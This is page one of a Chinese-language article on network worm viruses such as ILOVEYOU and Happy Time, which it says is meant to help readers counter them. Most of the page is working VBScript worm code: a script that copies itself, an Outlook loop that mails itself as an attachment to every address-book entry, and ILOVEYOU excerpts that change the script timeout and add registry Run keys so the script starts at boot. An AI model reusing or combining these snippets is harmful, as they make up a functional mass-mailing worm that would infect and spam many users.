|

如今对大家的电脑威胁最大的就属网络蠕虫病毒了!网络蠕虫病毒的危害之大简直令人吃惊,从大名鼎鼎的“爱虫”到“欢乐时光”,再到“红色代码”,其破坏力越来越强,因此我们有必要了解网络蠕虫病毒。
蠕虫病毒与一般的计算机病毒不同,它不采用将自身拷贝附加到其他程序中的方式来复制自己,所以在病毒中它也算是一个“另类”。蠕虫病毒的破坏性很强,部分蠕虫病毒不仅可以在因特网上兴风作浪,局域网也成了它们“施展身手”的舞台――蠕虫病毒可以潜伏在基于客户机/服务机模式的局域网的服务机上的软件内,当客户机访问服务机,并对有毒的软件实施下载后,病毒就神不知、鬼不觉地从服务机上“拷贝”到客户机上了。
其实脚本病毒是很容易制造的,它们都利用了视窗系统的开放性的特点。特别是COM到COM+的组件编程思路,一个脚本程序能调用功能更大的组件来完成自己的功能。以VB脚本病毒(如欢乐时光、 I Love You 、库尔尼科娃病毒、Homepage病毒等)为例,他们都是把.vbs脚本文件添在附件中,最后使用*.htm.vbs等欺骗性的文件名。下面我们详细了解一下蠕虫病毒的几大特性,从中找到对付蠕虫病毒的方法。
一、蠕虫病毒具有自我复制能力
我们以普通的VB脚本为例来看看:
Set objFs=CreateObject (“Scripting.FileSystemObject”) '创建一个文件系统对象 objFs.CreateTextFile ("C:\virus.txt", 1) '通过文件系统对象的方法创建了一个TXT文件。 | 如果我们把这两句话保存成为.vbs的VB脚本文件,点击就会在C盘中创建一个TXT文件了。倘若我们把第二句改为:
| objFs.GetFile (WScript.ScriptFullName).Copy ("C:\virus.vbs") | 就可以将自身复制到C盘virus.vbs这个文件。本句前面是打开这个脚本文件,WScript.ScriptFullName指明是这个程序本身,是一个完整的路径文件名。GetFile函数获得这个文件,Copy函数将这个文件复制到C盘根目录下virus.vbs这个文件。这么简单的两句就实现了自我复制的功能,已经具备病毒的基本特征――自我复制能力。 二、蠕虫病毒具有很强的传播性
病毒需要传播,电子邮件病毒的传播无疑是通过电子邮件传播的。对于OutLook来说地址簿的功能相当不错,可是也给病毒的传播打开了方便之门。几乎所有通过OutLook传播的电子邮件病毒都是向地址簿中存储的电子邮件地址发送内同相同的脚本附件完成的。看看如下的代码:
Set objOA=Wscript.CreateObject ("Outlook.Application") '创建一个OUTLOOK应用的对象 Set objMapi=objOA.GetNameSpace ("MAPI") '取得MAPI名字空间 For i=1 to objMapi.AddressLists.Count '遍历地址簿 Set objAddList=objMapi.AddressLists (i) For j=1 To objAddList. AddressEntries.Count Set objMail=objOA.CreateItem (0) objMail.Recipients.Add (objAddList. AddressEntries (j)) '取得收件人邮件地址 objMail.Subject="你好!" '设置邮件主题 objMail.Body="这次给你的附件,是我的新文档!" '设置信件内容 objMail.Attachments.Add (“c:\virus.vbs") '把自己作为附件扩散出去 objMail.Send '发送邮件 Next Next Set objMapi=Nothing '清空objMapi变量,释放资源,值得学习的编程习惯 Set objOA=Nothing '清空objOA变量 | 这一小段代码的功能是向地址簿中的用户发送电子邮件,并将自己作为附件扩散出去。这段代码中的第一行是创建一个Outlook的对象,是必不可少的。在其下是一个循环,在循环中不断地向地址簿中的电子邮件地址发送内容相同的信件。蠕虫病毒就是这样进行传播的。
三、蠕虫病毒具有一定的潜伏性
要使病毒潜伏,对于“脚本”语言并不是很难的一件事,因为这种语言并不是面向对象的可视化编程,自然就不存在窗体,所以可以免去隐藏窗体的麻烦。从I love you病毒中,很容易看出蠕虫病毒在潜伏时的特点,它们多数是修改注册表等信息以判断各种条件及取消一些限制。以下是从I love you病毒中提取出的部分代码:
On Error Resume Next '容错语句,避免程序崩溃 dim wscr,rr set wscr=CreateObject ("WScript.Shell") '击活 WScript.Shell 对象 rr=wscr.RegRead ("HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout") '读入注册表中的超时键值 if (rr>=1) then '超时设置 wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if | 上面这部分代码很明显是调整脚本语言的超时设置。下面的一段代码则是修改注册表,使得每次系统启动自动执行脚本:
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \Run\MSKernel32",dirsystem&"\MSKernel32.vbs" regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion \RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" |
[1] [2] 下一页 |